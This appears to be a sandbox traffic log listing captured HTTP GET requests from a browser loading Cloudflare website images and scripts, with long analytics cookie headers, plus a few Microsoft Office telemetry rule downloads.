cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/5YRPa33UFrfL2zoZd2AXTq/658995f16c7ee4818875c254c18573d3/logo_zendesk_gray_32px-wrapper.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/68TLXIuB6HOZo3RgLAp1Ji/6a953e33858490426d4e2ca753bea3ad/documentation-list.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cl
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/78RmfBmlwmzHeGK2Aqj65M/369cfa6b2402b7e6007941839e0c763f/target.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.c
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729094220262}; _lr_uf_-ykolez=31c72f27-7fb5-414d-adfe-e159dffa454a; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; _biz_nA=2; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _biz_pendingA=%5B%5D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-54b184b2-7d7e-474c-8850-be872159dbbb%22%2C%22lastActivity%22:1729094230943%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:50.12874518679207}; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526act
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /brandfolder/logo_lending-tree.svg HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; OptanonConsent=isGpcEnabled=0&datestamp=Wed+Oct+16+2024+11%3A56%3A57+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=62b291af-67fd-4860-ba1e-661c2db79b56&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.1405262777%22%2C%22e%22%3A1760630221108%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.894146926%22%2C%22e%22%3A1760630221108%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.429122513%22%2C%22e%22%3A1760630221108%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729094221108.136274098%22%2C%22e%22%3A1760630221108%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729094221108.dc93f89a-e6dd-4c25-851a-993e355821da%22%2C%22e%22%3A1760630221108%7D%7D; _biz_uid=9cf0c5c3c8234176adfbc3176fd8b579; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _gcl_au=1.1.1815933169.1729094224; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-311481223b6ebebf8eb5c3622f9f4b73; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY2MjY3MzU3ODMyOTczMzkxOTY0MzUwMzQxNzgzMzExNDkxOTUzMVIRCPKasLCpMhgBKgRJUkwxMAPwAfKasLCpMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20013%7CMCMID%7C62673578329733919643503417833114919531%7CMCAAMLH-1729699023%7C6%7CMCAAMB-1729699023%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729101423s%7CNONE%7CMCSYNCSOP%7C411-20020%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Mkto%22%3A%221%22%2C%22ViewThrough%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; mboxEdgeCluster=37; _uetsid=4bfaca508bd711ef83244ff4e3a5df24\|ck2epj\|2\|fq2\|0\|1750; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiMjM2ZjYwNzktNzJlNi00NmNlLTg2NjktOTQ2NjJjZTBiZjJkIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Fplans%25252Fenterprise%25252Fcontact%25
Source: global traffic	HTTP traffic detected: GET /slt3lc6tev37/7vSmQwpXxBBSUXvax4mTTj/1e9733d09150035751acd28962d65831/optimization-scale.png HTTP/1.1Host: cf-assets.www.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI; 